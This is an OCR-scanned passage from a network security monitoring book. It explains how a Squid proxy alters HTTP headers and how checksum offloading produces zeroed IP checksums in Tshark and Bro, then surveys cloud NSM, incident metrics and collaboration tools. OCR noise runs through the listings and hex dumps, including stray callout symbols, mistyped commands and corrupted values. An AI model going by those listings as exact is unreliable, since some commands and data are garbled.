GET http://www.bejtlich.net/@® HTTP/1.1

Host: www.bejtlich.net

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:20.0) Gecko/20100101 Firefox/20.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

DNT: 1

Referer: http://www.taosecurity.com/training.html

Connection: keep-alive

Listing 13-2: Traffic from the client to the proxy

At location X, notice that the GET request for http://www.bejtlich.net/ ® is a
bit different from normal GET requests. Unproxied web traffic would make a
GET request to the / directory, not the entire URL, with something like GET /.
Listing 13-3 shows the response from the proxy.
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$ cat 172.016.002.001.03128-192.168.002.108.50949

HTTP/1.0 200 OK

Date: Sun, 21 Apr 2013 20:53:38 GMT

Server: Apache/2

Last-Modified: Wed, 02 Jan 2013 15:49:44 GMT
ETag: "2e800ed-c713-4d25031f1f600"
Accept-Ranges: bytes

Content-Length: 3195

Content-Type: text/html; charset=UTF-8
X-Cache: MISS from localhost®
X-Cache-Lookup: MISS from localhost:3128@
Via: 1.1 localhost:3128 (squid/2.7.STABLE9)®
Connection: keep-alive

Proxy-Connection: keep-alive®

@©<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/
xhtmli-strict.dtd">

<html xmlns="http://www.w3.0rg/1999/xhtml" xml:lang="en">

<head>

<meta http-equiv="content-type" content="text/html; charset=iso-8859-1" />

<meta name="Richard Bejtlich" content="Home page of TaoSecurity founder Richard Bejtlich" />
<meta name="keywords" content="bejtlich,taosecurity,network,security" />

-- snip --

Listing 13-3: Traffic from proxy to client as seen at location X

Listing 13-3 includes four headers indicating that a proxy is involved.
The headers at @ and @ show that the proxy didn’t have a locally cached
copy of the requested content. The headers at ® and @ report the nature
of the proxy connection. The last part, at ®, shows the beginning of the
web page hosted at 205.186.148.46.

Traffic from the Proxy to the Web Server

Now let’s use Tcpflow to see what traffic looks like when it goes from the
proxy to a web server, as seen at location Y. Listing 13-4 shows how to gener-
ate the transcripts against trace file bej-ext.pcap, which was captured on the
proxy interface facing the web server.

$ tcpflow -r bej-ext.pcap

$ 1s -al

total 20

drwxrwxr-x 2 ds6lso ds6lso 4096 Apr 23 20:33 .

drwxrwxr-x 3 ds6lso ds6lso 4096 Apr 23 20:32 ..

-IW-IW-T-- 1 ds61so ds6lso 461 Apr 21 20:53 192.168.001.002.02770-205.186.148.046.00080©
-TW-IW-T-- 1 ds61so ds61so 3453 Apr 21 20:53 205.186.148.046.00080-192.168.001.002.027700

Listing 13-4: Using Tcpflow to generate transcripts manually on the bej-ext.pcap trace file
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Again, Tcpflow generates two files: traffic from the proxy to the
server @ and traffic from the server to the proxy @. Let’s look at traffic
from the proxy to the server first, as shown in Listing 13-5.

$ cat 192.168.001.002.02770-205.186.148.046.00080

GET /@ HTTP/1.0

Host: www.bejtlich.net

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:20.0) Gecko/20100101 Firefox/20.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;qg=0.5

Accept-Encoding: gzip, deflate

DNT: 1

Referer: http://www.taosecurity.com/training.html

Via: 1.1 localhost:3128 (squid/2.7.STABLE9)®

X-Forwarded-For: 192.168.2.108©

Cache-Control: max-age=259200

Connection: keep-alive

Listing 13-5: Traffic from the proxy to the server as seen at location Y

Listing 13-5 includes several interesting features:

e The resource visited by the proxy via the GET / request @ resembles nor-
mal web traffic seen elsewhere in the book. However, it differs from the
proxied request shown in Listing 13-2.

e The proxy includes a Via statement @ indicating the involvement of a
Squid proxy.

e The proxy reveals the true source IP address of the client making the
web request in the X-Forwarded-For statement @.

Some security analysts worry that these “features,” especially the X-Forwarded-For
statement, will allow intruders operating malicious websites to see these headers and
learn how a company’s internal network is configured. Security teams must balance
the added visibility they gain against a perceived leakage of potentially sensitive infor-
mation to outsiders.

Listing 13-6 shows the response from the server.

$ cat 205.186.148.046.00080-192.168.001.002.02770

HTTP/1.1 200 OK

Date: Sun, 21 Apr 2013 20:53:38 GMT

Server: Apache/2

Last-Modified: Wed, 02 Jan 2013 15:49:44 GMT
ETag: "2e800ed-c713-4d25031f1f600"
Accept-Ranges: bytes

Content-Length: 3195

Connection: close

Content-Type: text/html; charset=UTF-8
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<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/
xhtmli-strict.dtd">

<html xmlns="http://www.w3.0rg/1999/xhtml" xml:lang="en">

<head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1" />

<meta name="Richard Bejtlich" content="Home page of TaoSecurity founder Richard Bejtlich" />
<meta name="keywords" content="bejtlich,taosecurity,network,security” />

-- snip --

Listing 13-6: Traffic from the server to the proxy as seen at location Y
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As far as the web server in Listing 13-6 is concerned, the proxy is the sys-
tem making the request. There is nothing special about what it sends back.
(Notice in Listing 13-3 how the two differ, paying particular attention to
the headers added by the proxy.)

Dealing with Proxies in Production Networks

CIRTs have four options when dealing with proxies in production networks:

1. Try to gain access to the logs generated by a proxy in order to see traf-
fic from the proxy’s perspective.

2. Use the techniques described in Chapter 2 to deploy multiple sensors
with appropriate visibility. In this respect, a proxy is like a NAT issue—
put sensors where you need them in order to see true source and desti-
nation IP addresses.

3. Make more extensive use of the information kept inside logs generated
by proxy-aware NSM software. As shown in the transcripts in Listings 13-2,
13-3, and 13-5, information about proxy use is available for review.

4. Use software that can enable special features to track X-Forwarded-For
headers and extract the client IP address when reporting alert data.
(See the enable_xff configuration option in Snort, for example.)

The next part of this chapter will take the third approach. We’ll use
Bro to examine the traffic in these sample traces to see whether it can gen-
erate information that helps us deal with proxies. Before dealing with our
proxy problem, however, we need to take a slight detour into the world of
IP checksums.

Checksums

Chapter 13

IP headers contain a checksum as an error detection mechanism. Network
devices calculate and insert checksums when they process packets. When

a downstream device receives an IP packet, it calculates a checksum for
that packet based on the contents of the IP header. For the purposes of the
calculation, the equation sets the IP checksum field itself to zero. If the cal-
culated checksum fails to match the checksum in the IP packet, the device
may discard the packet. The device senses an error and deals with it by
dropping the IP packet.
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A Good Checksum

Figure 13-2 shows a checksum that is correct for the contents of a packet.

S e v R

Frame 1: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)
ethernet II, src: cisco-Li_65:2f:ac (00:13:10:65:2f:ac), pst: Pcengine_27:f1:48 (00:0d:b9:27:f1:48)
= Internet Protocol version 4, src: 192.168.2.108 (192.168.2.108), Dst: 172.16.2.1 (172.16.2.1)
version: 4
Header length: 20 bytes
Differentiated Services Field: Ox00 (DSCP 0x00: Default; ECN: Ox00: Not-ECT (Not ECN-Capable Transport))
Total Length: 52
Identification: Ox08fa (2298)
Flags: 0x02 (Don't Fragment)
Fragment offset: 0
Time to Tive: 127
Protocol: TCP (6)
Header checksum: Ox8lad4 [correct]
Source: 192.168.2.108 (192.168.2.108)
Destination: 172.16.2.1 (172.16.2.1)
[source GeoIP: unknown]
[Destination GeoIP: Unknown]

Jloooo 00 od b9 27 f1 48 00 13 10 65 2f ac 08 00 45 00
0010 00 34 08 fa 40 00 7f 06 WCO a8 02 6c ac 10
0020 02 01 c7 05 Oc 38 64 fa e/ 00 00 00 00 8O 02

0030 fa 0 0a e0 00 00 02 04 05 ba 01 03 03 02 01 01
0040 04 02

Figure 13-2: Correct IP checksum of 0x81a4 in a TCP packet

The IP checksum is 0x81a4 (0x means the value is represented in hexa-
decimal). Wireshark appends the word [correct] after the checksum value
to show that it calculated a checksum and found that it matched the value
reported in the packet. (Note this is a TCP segment, but we are concerned
only with the IP checksum here.)

A Bad Checksum

Figure 13-3 shows a checksum that is not correct for the contents of a packet.

Frame 2: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)
Ethernet II, Src: PcEngine 27:f1:48 (00:0d:b9:27:f1:48), Dst: Cisco-Li_65:2f:ac (00:13:10:65:2f:ac)
=]
version: 4
Header length: 20 bytes
Differentiated services rField: Ox00 (DsCP Ox00: pefault; ECN: Ox00: NoT-ECT (Not ECN-Capable Transport))
Total Length: 52
Identification: Oxb475 (46197)
Flags: 0x02 (Don't Fragment)
Fragment offset: 0O
Time to Tive: 64
Protocol: TCP (6)
He

=

Destination: 192.168.2.108 (192.168.2.108)
[source GeoIP: unknown]
[Destination GeoIP: Unknown]

0000 00 13 10 65 2f ac 00 Od b9 27 f1 48 08 00 45 00
0010 00 34 b4 75 40 00 40 06 ac 10 02 01 cO a8
0020 02 6c Oc 38 c7 05 c6 4b 2 6d 64 fa bf e8 80 12
0030 fe cc 4f 35 00 00 02 04 05 ba 01 03 03 07 04 02

Figure 13-3: Incorrect IP checksum of 0x0000 in a TCP packet

Here, we see that the IP checksum is 0x0000. Wireshark doesn’t like
this value. It reports concern via a red bar over the IP header entry and the
words [incorrect, should be 0x1529 (may be caused by “IP checksum offload”?)].
Wireshark shows that it calculated a checksum that didn’t match the value
reported in the packet. (This is also a TCP segment.)
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Identifying Bad and Good Checksums with Tshark

Tshark offers a few helpful ways to quickly review checksums. We’ll use
the traffic we collected in “Proxies” on page 289 as our sample data. We're
supposed to be troubleshooting performance, and we expect to rely on
those traces to answer our questions. First, look at the trace file recorded
at location X, as shown in Listing 13-7.

$ tshark -n -r bej-int.pcap -T fields -E separator=/t -e ip.src -e tcp.srcport
-e ip.dst -e tcp.dstport -e ip.checksum

Source IP SrcPort Destination IP DstPort IP Checksum
192.168.2.108 50949 172.16.2.1 3128 0x81a4
172.16.2.1 3128 192.168.2.108 50949 0x0000
192.168.2.108 50949 172.16.2.1 3128 ox81af
192.168.2.108 50949 172.16.2.1 3128 0x8036
172.16.2.1 3128 192.168.2.108 50949 0x0000
172.16.2.1 3128 192.168.2.108 50949 0x0000
192.168.2.108 50949  172.16.2.1 3128 0x81ad
172.16.2.1 3128 192.168.2.108 50949 0x0000
192.168.2.108 50949 172.16.2.1 3128 0x81a5
172.16.2.1 3128 192.168.2.108 50949 0x0000
172.16.2.1 3128 192.168.2.108 50949 0x0000
192.168.2.108 50949 172.16.2.1 3128 0x81a4

Listing 13-7: Custom Tshark output for the bej-int.pcap trace file

Listing 13-7 invokes a few new switches to display only the information
that concerns us. We used the -T fields and -E separator=/t switches to tell
Tshark we wanted specific parts of the packets to be displayed and we wanted
those fields printed with tabs between them. Using the -e switches, we told
Tshark just which parts of the packets we wanted. (I added the headers after
the command line to make it easier for you to recognize the fields.)

Looking at the last column, it seems odd that every packet from
172.16.2.1 has a checksum of 0x0000. When we saw that same occurrence
in Wireshark, the tool reported a checksum error.

We can invoke Tshark again to tell us which packets have miscalculated
checksums, as shown in Listing 13-8.

$ tshark -n -r bej-int.pcap -T fields -E separator=/t -e ip.src -e tcp.srcport
-e ip.dst -e tcp.dstport -e ip.proto -e ip.checksum -R "ip.checksum_bad==1"

172.16.2.1 3128 192.168.2.108 50949 6 0x0000
172.16.2.1 3128 192.168.2.108 50949 6 0x0000
172.16.2.1 3128 192.168.2.108 50949 6 0x0000
172.16.2.1 3128 192.168.2.108 50949 6 0x0000
172.16.2.1 3128 192.168.2.108 50949 6 0x0000
172.16.2.1 3128 192.168.2.108 50949 6 0x0000

Listing 13-8: Tshark output for sample trace file showing only bad checksums
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In Listing 13-8, we add the display filter -R "ip.checksum_bad==1". This
tells Tshark to show only packets whose checksums do not match the values
Tshark thinks they should have. If you want to see only packets with good
checksums, try the command shown in Listing 13-9.

$ tshark -n -r bej-int.pcap -T fields -E separator=/t -e ip.src -e tcp.srcport
-e ip.dst -e tcp.dstport -e ip.proto -e ip.checksum -R "ip.checksum_good==1"

192.168.2.108 50949 172.16.2.1 3128 6 0x81a4
192.168.2.108 50949  172.16.2.1 3128 6 ox81af
192.168.2.108 50949  172.16.2.1 3128 6 0x8036
192.168.2.108 50949 172.16.2.1 3128 6 0x81ad
192.168.2.108 50949 172.16.2.1 3128 6 0x81a5
192.168.2.108 50949  172.16.2.1 3128 6 0x81a4

Listing 13-9: Tshark output for sample trace file showing only good checksums

In Listing 13-9, we add the display filter -R "ip.checksum_good==1". This
tells Tshark to show only packets whose checksums match the values Tshark
thinks they should have. You could get the same results for Listing 13-8
using the display filter -R "ip.checksum_good==0" and the same results for
Listing 13-9 using the display filter -R "ip.checksum_bad==0".

Before investigating why we’re getting these bad checksums, let’s see
whether they also appear in bej-ext.pcap. As we did with Listing 13-7, we can
show the key elements of a trace file using Tshark. Listing 13-10 provides
the syntax and output.

$ tshark -n -r ../bej-ext.pcap -T fields -E separator=/t -e ip.src -e tcp.
srcport -e ip.dst -e tcp.dstport -e ip.checksum

192.168.1.2 2770 205.186.148.46 80 0x0000
205.186.148.46 80 192.168.1.2 2770 0x5b28
192.168.1.2 2770 205.186.148.46 80 0x0000
192.168.1.2 2770 205.186.148.46 80 0x0000
205.186.148.46 80 192.168.1.2 2770 0x9597
205.186.148.46 80 192.168.1.2 2770 ox8fee
192.168.1.2 2770 205.186.148.46 80 0x0000
205.186.148.46 80 192.168.1.2 2770 ox8fed
192.168.1.2 2770 205.186.148.46 80 0x0000
205.186.148.46 80 192.168.1.2 2770 0x9367
192.168.1.2 2770 205.186.148.46 80 0x0000
192.168.1.2 2770 205.186.148.46 80 0x0000
192.168.1.2 2770 205.186.148.46 80 0x0000
205.186.148.46 80 192.168.1.2 27170 0x9593

Listing 13-10: Custom Tshark output for the bej-ext.pcap trace file

In Listing 13-10, the proxy is 192.168.1.2, and the server is 205.186.148.46,
offering web services on port 80 TCP. Again, we see suspicious IP checksums
(0x0000) on all packets from the proxy to the web server. As with bej-int.pcap,
the system generating IP traffic with bad checksums is the proxy. Why?
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How Bad Checksums Happen

IP checksums occasionally fail to match the intended values due to errors
introduced over the Internet. These errors are exceptionally rare, however,
unless a real network problem is involved. How did so many checksums
fail in Listings 13-7 and 13-10, and why are those failures so consistent?
The error reported by Wireshark in Figure 13-3, [incorrect, should be
0x1529 (may be caused by "IP checksum offload"?)], can help us answer those
questions.

Traditionally, the operating system and network stack were responsible
for calculating IP checksums, but modern network drivers and some NICs
assume that burden. This process, called offloading, allows the network stack
to send traffic quickly. Calculating checksums can be done quickly in the
driver or, better yet, by dedicated hardware.

Frequent IP checksum errors like those in Listings 13-7 and 13-10 will
interfere with your ability to conduct NSM. Traces with bad checksums are
often the result of capturing network traffic on a platform that offloads the
checksum process to a driver or hardware. The packet seen by the network
security tool has a 0x0000, or empty, checksum, but the “real” packet sent
on the wire has a true checksum calculated and added to the packet by the
driver or hardware. (When SO configures network interfaces, the setup
script disables driver and hardware checksum offloading in an effort to
avoid these issues.)

In our scenario, the proxy relies on checksum offloading to speed up
the transmission of network traffic. Unfortunately, the software on the
proxy sets a 0x0000 IP checksum on all outgoing packets. Before the packet
hits the wire, though, the driver or NIC hardware calculates and inserts
a proper checksum. Packets received from other devices have the correct
checksums.

Bro and Bad Checksums

Now that we’ve looked at good and bad IP checksums, let’s examine why
they matter. Some network security tools assume that packets with a bad IP
checksum will never be processed by the receiving network endpoint. The
network security tool drops the packet. Unfortunately, these bad checksums
might simply be caused by offloading.

Bro ignores traffic with bad IP checksums. For example, notice how it
processes the bej-int.pcap trace file, as shown in Listing 13-11.

$ sudo bro -r bej-int.pcap /opt/bro/share/bro/site/local.bro

WARNING: No Site::local nets have been defined. 1It's usually a good idea to define your local
networks.

WARNING: Template value remaining in BPFConf filename: /etc/nsm/{{hostname}}-{{interface}}/bpf-
bro.conf (/opt/bro/share/bro/securityonion/./bpfconf.bro, line 99)

WARNING: Template value remaining in BPFConf filename: /etc/nsm/ds61so-{{interface}}/bpf-bro.
conf (/opt/bro/share/bro/securityonion/./bpfconf.bro, line 99)

Listing 13-11: Bro reads the bej-int.pcap trace file.
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Nothing odd appears by default, but take a look at weird.log, shown in
Listing 13-12.

$ cat weird.log

#separator \x09
#set_separator ,
#tempty field (empty)
#unset field -

#path  weird

#open  2013-04-23-19-40-10

#fields ts uid id.orig h id.orig p id.resp h id.resp p name
addl notice peer

#types time string addr port addr port string string bool string
1366577618.249515 - - - - - bad_IP_checksum - F
bro

1366577618.251250 rhdNNjfMCkc 192.168.2.108 50949  172.16.2.1 3128
@possible_split routing - F bro

1366577618.251867 rhdNNjfMGkc 192.168.2.108 50949  172.16.2.1 3128
@data_before established - F bro

#close 2013-04-23-19-40-10

Listing 13-12: Bro weird.log file

The first entry reports possible_split_routing @ because Bro is seeing only
half the traffic, namely packets from 192.168.2.108 to 172.16.2.1. These were
the packets in Listing 13-9 with good IP checksums. The second entry reports
data_before_established @ because Bro didn’t see a complete TCP three-way
handshake. When Bro misses the three-way handshake, it’s confused when it
sees data transmitted before the session was properly established.

The Bro http.log file is also odd, as shown in Listing 13-13.

$ cat http.log

#separator \x09
#set_separator ,
#tempty field (empty)
#unset_field -

#path  http

#open  2013-04-23-19-40-10

#fields ts uid id.orig h id.orig p id.resp_h id.resp_p trans_
depth method host uri referrer user_agent request_body len
response_body len status_code status_msg info_code info_msg filename
tags username password proxied mime_type md5 extraction_file

#types time string addr port addr port count  string string string string
string count count count string count string string table[enum] string string
table[string] string string file
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1366577618.251867 ThdNN;jfMCkc 192.168.2.108 50949  172.16.2.1 3128 1

GET® www.bejtlich.net http://www.bejtlich.net/ http://www.taosecurity.
com/training.html Mozilla/5.0 (X11; Ubuntu; Linux x86 _64; rv:20.0) Gecko/20100101
Firefox/20.0 0 0 - - - - - (empty) - - -

#close 2013-04-23-19-40-10

Listing 13-13: Bro http.log file
We see a GET request here @, but no indication of a reply.

Setting Bro to Ignore Bad Checksums

We can tell Bro to shut off its checksum verification and process all traffic
using the -C switch, as shown in Listing 13-14.

$ sudo bro -r bej-int.pcap -C /opt/bro/share/bro/site/local.bro

WARNING: No Site::local nets have been defined. It's usually a good idea to define your local
networks.

WARNING: Template value remaining in BPFConf filename: /etc/nsm/{{hostname}}-{{interface}}/bpf-
bro.conf (/opt/bro/share/bro/securityonion/./bpfconf.bro, line 99)

WARNING: 1366577618.694909 Template value remaining in BPFConf filename: /etc/nsm/ds61so-
{{interface}}/bpf-bro.conf (/opt/bro/share/bro/securityonion/./bpfconf.bro, line 99)

Listing 13-14: Bro reads the trace file and ignores checksums.

Now there is no weird.log. If we look at http.log, we’ll see that it’s what
we’ve come to expect. Listing 13-15 shows the results.

$ cat http.log

#separator \x09
#set_separator ,

#tempty field (empty)
#unset_field -

#path  http

#open  2013-04-23-20-06-19

#fields ts uid id.orig h id.orig p id.resp_h id.resp p trans_
depth method host uri referrer user_agent request_body len
response_body len status_code status_msg info_code info_msg filename
tags username password proxied mime_type md5 extraction_file

#types time string addr port addr port count  string string string string
string count count count string count string string table[enum] string string
table[string] string string file
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1366577618.251867 aqjpeHaXm7f 192.168.2.108 50949  172.16.2.1 3128 1

CETO® www.bejtlich.net http://www.bejtlich.net/® http://www.taosecurity.
com/training.html Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:20.0) Gecko/20100101

Firefox/20.0 0 3195 200 0K® - - - (empty) - -

- text/html® - -

#close 2013-04-23-20-06-19

Listing 13-15: Bro http.log file for bej-int.pcap with checksum validation disabled

Now we see not only the GET request @ for hitp://www.bejtlich.net/ @ but
also a record of the server’s 200 0K reply ® and indication that the page
returned was text/html @. You could perform similar analysis concerning
Bro’s handling of bej-ext.pcap to see how it works when processing and ignor-
ing checksums. Listing 13-16 shows the results of the hitp.log file when Bro
reads the bej-ext.pcap trace file with checksum processing disabled.

$ cat http.log

#separator \x09
#set_separator ,

#empty field (empty)
#unset field -

#path  http

#open  2013-04-24-00-36-03

#fields ts uid id.orig h id.orig p id.resp h id.resp p trans_
depth method host uri referrer user_agent request_body len
response_body_len status_code status_msg info_code info_msg filename
tags username password proxied mime_type md5 extraction_file

#types time string addr port addr port count  string string string string
string count count count string count string string table[enum] string string
table[string] string string file

1366577618.269074 ua3JI6YIIxh 192.168.1.2 2770  205.186.148.46 80

1 GET www.bejtlich.net /0 http://www.taosecurity.com/training.html
Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:20.0) Gecko/20100101 Firefox/20.0 O 3195
200 0K® - - - (empty) - - OVIA -> 1.1 localhost:3128

(squid/2.7.STABLE9),X-FORWARDED-FOR -> 192.168.2.108@ text/html - -

#close 2013-04-24-00-36-04

Listing 13-16: Bro http.log file for bej-ext.pcap with checksum validation disabled

In Listing 13-16, the interesting fields are the GET request for / @, the
200 OK reply @ from the server, the Via statement © revealing the presence
of the Squid proxy, and the X-Forwarded-For field @ showing the true source
IP address of the web client. With access only to logs of this nature, you
could use the X-Forwarded-For field to identify the true source IP address
of a client if you saw activity only at location Y and needed to know which
browser was surfing to the web server in question.
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The moral of the checksum story is this: If you must collect traffic from
a system that transmits traffic with checksum offloading, be sure your tools
know how to handle the situation. Remember that you can tell Bro to ignore
bad checksums with the -C switch. See the SO mailing list and wiki or the
manual pages for details on equivalent features in other tools. Snort, for
example, offers the following options to handle checksum processing:

-k <mode> Checksum mode (all,noip,notcp,noudp,noicmp,none)

Now that you know how to handle the checksum offloading character-
istics of collecting traffic on this pfSense box running a Squid proxy, you
can use the data collected here for troubleshooting. Without taking into
account the checksum issue, you may have interpreted the traffic incor-
rectly and arrived at odd conclusions about network performance.

Conclusion

Chapter 13

This chapter introduced two features of networks that might trouble ana-
lysts: proxies and checksums. Proxies are problematic because they intro-
duce another middlebox, adding complexity to the network.

Like NAT, proxies obscure true source and destination IP addresses.
Although this chapter showed only one proxy at work, some organizations
chain multiple proxies! Such a multiproxy scenario makes the supposed
Holy Grail of NSM and proxies—proxy logs—unattainable. When multiple
proxies are involved, no single log shows all the activity analysts need to see.
If proxy logs were available, however, they would make a useful addition to
the data collected by an application like ELSA.

We also discussed checksums and odd results caused by offloading.
This feature, designed to speed up networking, reveals a downside: zeroed
checksums when reported by a traffic capture tool. Although it’s easier to
engineer around this challenge, don’t be surprised if an eager analyst pro-
vides a trace file with one or both sides of a conversation containing 0x0000
for the IP checksums. With the help of this chapter, you should understand
why that occurs and how to handle the issue.
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CONCLUSION

I wrote this book to help readers start a net-
work security monitoring operation within

their organization. I used the open source
SO suite to show how to put NSM to work in a

rapid and cost-effective manner. This final section

of the book shows several other options for NSM and

related operations. My goal is to show how NSM applies to other areas of
digital defense and how I think NSM will adapt to increasingly complex
information processing requirements.

First, I discuss how cloud computing affects NSM. The cloud presents
challenges and opportunities, and awareness of both will help security man-
agers better defend their data. Second, I talk about the importance of work-
flow and why an operational, metrics-driven model is a key to CIRT success.
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Cloud Computing

Conclusion

The National Institute of Standards and Technology (NIST) defines cloud
computing as

a model for enabling ubiquitous, convenient, on-demand net-
work access to a shared pool of configurable computing resources
(e.g., networks, servers, storage, applications, and services) that
can be rapidly provisioned and released with minimal manage-
ment effort or service provider interaction.'

NIST describes three service models:

Software as a Service (SaaS) Allows the consumer to use the provider’s
applications running on a cloud infrastructure.

Platform as a Service (PaaS) Allows the consumer to deploy consumer-
created applications or acquired applications created using program-
ming languages, libraries, services, and tools supported by the provider
onto the cloud infrastructure.

Infrastructure as a Service (IaaS) Gives the consumer access to process-
ing, storage, networks, and other fundamental computing resources
where the consumer is able to deploy and run arbitrary software, which
can include operating systems and applications.

A SaaS offering, like Salesforce.com (http://www.salesforce.com/), gives
customers an application that provides certain capabilities, such as cus-
tomer relationship management. A PaaS offering, like Heroku (Attp://
www. heroku.com/), gives customers a set of programming languages and
related capabilities to build their own applications. An Iaa$ offering, like
Amazon Elastic Compute Cloud (EC2, hitps://aws.amazon.com/ec2), gives
customers a virtual machine and related supporting infrastructure upon
which they can install their own software.

From an NSM perspective, a key feature of cloud computing is the fact
that information processing is being done “somewhere else.” One excep-
tion may be a “private” cloud, operated by an organization for internal use,
or a “community” cloud, operated by an organization cooperating with
partners. When a cloud is “public” or “hybrid,” though, it means an orga-
nization’s data is stored, manipulated, and transmitted beyond the normal
enterprise boundaries. While many security professionals have debated
cloud security and related topics, this section examines visibility challenges
posed by cloud computing.

Coud Computing Challenges

With data processing occurring outside an organization, a CIRT cannot
rely on the network instrumentation models introduced in Chapter 2.

1. Peter Mell and Timothy Grance, “The NIST Definition of Cloud Computing,” NIST Special
Publication 800-145, National Institute of Standards and Technology, U.S. Department of
Commerce, September 2011, http://csre.nist.gov/publications/nistpubs/800-145/SPS00-145. pdf.
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Cloud users are not normally able to deploy taps or configure SPAN ports
to see traffic to or from a cloud provider’s infrastructure. By its very nature,
cloud infrastructures tend to be multitenant environments catering to hun-
dreds or thousands of customers on shared platforms. Even though you may
want to see network traffic to and from the platforms processing your data,
your cloud neighbors may not want you to see their traffic!

NSM is generally not an option for SaaS offerings because customers
interact with an application provided by a cloud company. Customers are
limited to relying upon whatever logs the cloud provider makes available.
NSM is also rarely possible for PaaS offerings, although customers can choose
to build application-level logging capabilities into the software they build
on the Paa$ platform. NSM may be possible on IaaS offerings, but the visi-
bility is generally limited to specific virtual machines. NSM on Iaa$S requires
lightweight approaches where agents on the specific VM collect and analyze
network-centric data.

Threat Stack (http://www.threatstack.com/) is an example of a commercial
offering to meet the need for NSM on Iaa$S cloud platforms. Dustin Webber,
author of the Snorby tool, founded Threat Stackwith Jen Andre to extend
Snorby beyond the enterprise. Threat Stack provides a lightweight agent that
collects and generates NSM information on individual endpoints, whether
in the enterprise or on IaaS cloud platforms. The Threat Stack agent reports
its findings to a cloud-based controller operated by the Threat Stack team.
When analysts want to investigate NSM data from the agents, they log into
a cloud application published by Threat Stack. Figure 1 depicts the Threat
Stack dashboard, showing data from an agent deployed on a virtual private
server.

hreat stack
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Event Count vs Time By Agent

i+
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Figure 1: Threat Stack dashboard
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Threat Stack demonstrates how a cloud-based challenge, like monitor-
ing IaaS platforms, can be met by using the cloud to collect and present
NSM data from agents. This hints at some of the benefits cloud computing
brings to NSM operators.

Clovd Computing Benefits

Cloud environments give analysts powerful and expandable environments
to process and mine NSM data. By putting NSM data in the cloud, storage
and analytical power become less of an issue. Analysts must be comfort-
able with the security controls applied by the cloud provider before putting
sensitive information in the hands of another company. If the provider can
meet those concerns, the cloud offers exciting possibilities.

Packetloop (http://www.packetloop.com/) is an example of another com-
mercial offering built on the cloud, but with a different focus. Michael Baker
and his team in Australia built Packetloop as a cloud-based application to
analyze network traffic uploaded by users. Analysts can send network traffic
in bulk to Packetloop, which then processes and displays that traffic in various
ways. Figure 2 shows a Packetloop dashboard for the network traffic asso-
ciated with a Digital Corpora sample case (http://digitalcorpora.org/corpora/
scenarios/m57-patents-scenario/).
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Figure 2: Packetloop dashboard for sample network traffic

Threat Stack and Packetloop are options for enterprise users comfort-
able with sending local data to cloud providers. Perhaps more importantly,
these two offerings are suitable for customers who already do computing
in the cloud. In other words, customers doing work in the cloud are likely
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to be comfortable sending logs or network traffic or both to another cloud
offering, such as a security vendor. As more computing work shifts from the
enterprise to the cloud, I expect this sort of “cloud-to-cloud” relationship to
become more important for security and monitoring needs.

Workflow, Metrics, and Collaboration

NSM isn’t just about tools. NSM is an operation, and that concept implies
workflow, metrics, and collaboration. A workflow establishes a series of steps
that an analyst follows to perform the detection and response mission.
Metrics, like the classification and count of incidents and the time elapsed
from incident detection to containment, measure the effectiveness of the
workflow. Collaboration enables analysts to work smarter and faster.

Workflow and Metrics

The next generation of NSM tools will incorporate these key features.
Mandiant provides these capabilities in several of its commercial offerings.
The goal is to help customers more rapidly scope an intrusion, manage
the escalation and resolution process, and highlight areas of improvement.
Figure 3 shows a graph of two key incident response measurements.

Open Incidents vs. Average Time to Close

20

— EE = B

421 422 423 424 425 426 427

# Open Incidents
&
(s1noy) asojD o1 sw|L ‘BAy

| - Avg. Time to Close (hours) [l # Open Incidents |

Figure 3: Tracking open incidents versus the average time to close an incident

In Figure 3, we see a series of dots connected into a line, showing the
average time, in hours, required to close an incident. In this case, “closing”
means conducting short-term incident containment (STIC) to mitigate the
risk posed by an intruder who has compromised a computer. The bars show
the number of open incidents on a daily basis. The spike in open incidents
on April 23 caused the average closure time to spike as well. This indicates
that the CIRT was overwhelmed by the number of incidents it had to man-
age. If the organization’s goal for average closure time is 10 hours or less,
this spike demonstrates that the CIRT cannot meet such a goal when the
number of open incidents exceeds 10 daily cases. CIRT managers can use
these metrics to justify additional headcount or to adjust processes or tools
to keep the CIRT on track.
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Collaboration

CIRTs that can manage many simultaneous intrusions often benefit from
powerful collaboration tools. Many analysts are familiar with wikis, chat
channels and clients, and other tools for exchanging incident data. A new
sort of collaboration tool combines processing NSM data with shared ana-
lytical capabilities. Just as online word processing applications like Google
Docs allow multiple users to collaborate simultaneously, some tools are
emerging to provide similar features to NSM operators.

CloudShark (http://www.cloudshark.org/) is an example of a collabora-
tive packet analysis tool. The team at QA Cafe (http://www.qacafe.com/)
built CloudShark as a platform that customers could deploy on-premise
and share among multiple team members. (Despite its name, CloudShark
doesn’t reside in the cloud; customers buy the software and deploy it within
their enterprise.Q) Analysts upload packet captures to the local appliance
and then manipulate packet captures via a web browser. Figure 4 shows
an example of CloudShark rendering DNS and Online Certificate Status
Protocol (OCSP) traffic.
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Figure 4: CloudShark displaying DNS and OCSP traffic

CloudShark appears very similar to Wireshark, so analysts will feel at
home in the interface. A CIRT could maintain a local CloudShark appli-
ance as a repository of key network traces derived from various intrusions.

2. The example in this section appears courtesy of CloudShark and Jeremy Stretch, who pub-
lish sample traces online at http://packetlife.net/captures/protocol/dns/ and http://www.cloudshark
.org/captures/46b2¢8403863/ to demonstrate CloudShark’s capabilities.
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For example, when Sguil retrieves traffic from a sensor to build a transcript,
the server retains a local archive of the traffic. A CIRT could upload all of
those captures to CloudShark, making them easily available and browsable
by analysts. These analysts could also add comments to the trace via the
Info and Comments features and tag the trace with key names for later
reference. Being a local appliance, CloudShark may address some of the
concerns presented by pure cloud-based offerings as well.

Conclusion

